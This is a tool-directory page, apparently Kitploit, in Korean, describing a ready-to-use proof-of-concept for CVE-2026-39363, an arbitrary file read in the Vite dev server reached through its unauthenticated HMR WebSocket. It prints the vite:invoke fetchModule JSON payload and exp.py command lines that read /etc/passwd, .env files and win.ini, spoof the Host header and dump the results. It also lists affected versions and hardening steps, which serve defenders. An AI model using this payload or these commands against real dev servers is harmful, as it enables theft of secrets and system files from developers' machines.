Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-39363 — 方便实用的CVE-2026-39363利用工具 | Kitploit
도구/GitHubGitHub/sunynov/cve-2026-39363
Vulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationPenetration Testing
GitHubsunynov/cve-2026-39363

CVE-2026-39363

方便实用的CVE-2026-39363利用工具

저장소 보기
17일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-39363 — Vite Dev Server 임의 파일 읽기 PoC

GHSA-p9ff-h696-f583 대상 즉시 실행 가능한 PoC입니다. 인증되지 않은 HMR WebSocket을 통해 fetchModule을 호출하여 HTTP 레이어의 server.fs.allow 제한을 우회하고, dev server가 실행 중인 머신의 임의 파일을 읽습니다.

영향 범위

버전 라인영향 받음수정됨
Vite 6>=6.0.0, <=6.4.16.4.2
Vite 7>=7.0.0, <=7.3.17.3.2
Vite 8>=8.0.0, <=8.0.48.0.5
vite-plus (VoidZero 브랜치)<=0.1.150.1.16

이용 전제 조건:

  • dev server가 네트워크에 노출되어 있어야 하며(--host / server.host 설정),
  • HMR WebSocket이 비활성화되지 않아야 합니다(기본적으로 활성화, server.ws: false로 끌 수 있음).

CVSS 3.1 7.5 High(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N), CWE-200 + CWE-306. CISA SSVC는 exploitation=poc, automatable=yes로 표시했습니다.

원리

  1. HTTP 레이어의 임의 파일 읽기는 server.fs.allow에 차단됩니다(/@fs/<절대 경로> → 403).
  2. 그러나 HMR WebSocket 핸드셰이크는 다음만 검증합니다:
    • Sec-WebSocket-Protocol: vite-hmr 헤더, 그리고
    • Origin 헤더가 있는 경우에만 ?token= 쿼리 파라미터를 요구합니다(CWE-306: 브라우저가 아닌 클라이언트는 Origin 헤더 없이 바로 접속 가능).
  3. 접속 후 vite:invoke 커스텀 이벤트를 전송하여 서버에 등록된 fetchModule 메서드를 호출하고 file://<절대 경로>?raw를 전달합니다. fetchModule은 모듈 transform 파이프라인을 직접 거치므로 fs.allow 검사를 완전히 우회하며, 파일 내용을 export default "..."로 반환합니다(CWE-200).

vite:invoke 요청 메시지 구조(v6/v7/v8 동일):

root@kitploit:~
{
  "type": "custom",
  "event": "vite:invoke",
  "data": {
    "name": "fetchModule",
    "id": "1send",
    "data": ["file:///etc/passwd?raw"]
  }
}

서버는 id가 1response로 바뀐 응답을 보내며, data.data.result.code에 파일 내용이 담깁니다.

사용법

Python 3 표준 라이브러리만 필요하며, 서드파티 의존성이 없습니다:

root@kitploit:~
# 读单个文件(POSIX 路径)
python exp.py http://target:5173 /etc/passwd

# Windows 路径 + 读多个文件
python exp.py http://target:5173 C:/Users/admin/.env C:/Windows/win.ini

# 保存到目录(文件名按路径自动安全化)
python exp.py http://target:5173 /etc/passwd /etc/hosts -o dump/

# HTTPS dev server
python exp.py https://target:5173 /etc/passwd

# 目标配置了 allowedHosts 域名白名单时,用 IP/localhost 当 Host 头
python exp.py http://192.168.1.10:5173 /etc/passwd --host-header localhost:5173

인자:

검증 기록

본 저장소의 PoC는 다음 환경에서 실제 테스트를 통과했습니다(dev server root 밖의 secret.txt를 읽었으며, HTTP @fs 경로의 같은 파일은 403 반환):

  • Vite 8.0.4(vite --host 0.0.0.0, Windows)
  • Vite 6.4.1(동일 조건)
  • Vite 7.3.1 소스 비교를 통해 메시지 구조가 v6/v8과 동일함을 확인

재현 절차(PoC와 동일한 방식):

root@kitploit:~
# 1. 起一个暴露到网络的受影响 dev server
npm i [email protected] && npx vite --host 0.0.0.0 --port 5173

# 2. HTTP 路径被 fs.allow 拦(预期 403)
curl -i 'http://target:5173/@fs/<root外绝对路径>?raw'   # -> 403

# 3. WebSocket 路径可读(本 PoC)
python exp.py http://target:5173 <root外绝对路径>

탐지 및 강화

  • 업그레이드: 6.4.2 / 7.3.2 / 8.0.5로.
  • dev server를 절대 공인 주소에 바인딩하지 말 것(기본적으로 localhost만 수신).
  • 프로덕션 빌드는 vite build + 정적 호스팅을 사용하고 vite dev를 실행하지 말 것.
  • 업그레이드가 불가능한 경우: server.ws: false로 HMR을 비활성화하거나, 리버스 프록시를 추가해 dev server 포트에 로컬에서만 접근하도록 제한.

면책 조항

승인을 받은 침투 테스트, 취약점 재현 및 방어 연구 목적으로만 사용하십시오. 승인 없이 타인의 시스템에 이 도구를 사용하여 발생하는 결과는 사용자가 부담합니다.

도구 다운로드
인자설명
url대상, 예: http://192.168.1.10:5173
files읽을 절대 경로(POSIX 또는 Windows 스타일 모두 가능)
--host-headerHost 헤더 위조(기본값: 대상 host). 기본적으로 IP/localhost만 허용하며, 사용자 정의 도메인은 명시적 설정 필요
--ws-pathHMR WebSocket 경로, 기본 /(대상에 server.hmr.path가 설정된 경우 수정 필요)
--timeout단일 요청 제한시간(초), 기본 10
-o/--output-dir읽은 내용을 디렉터리에 저장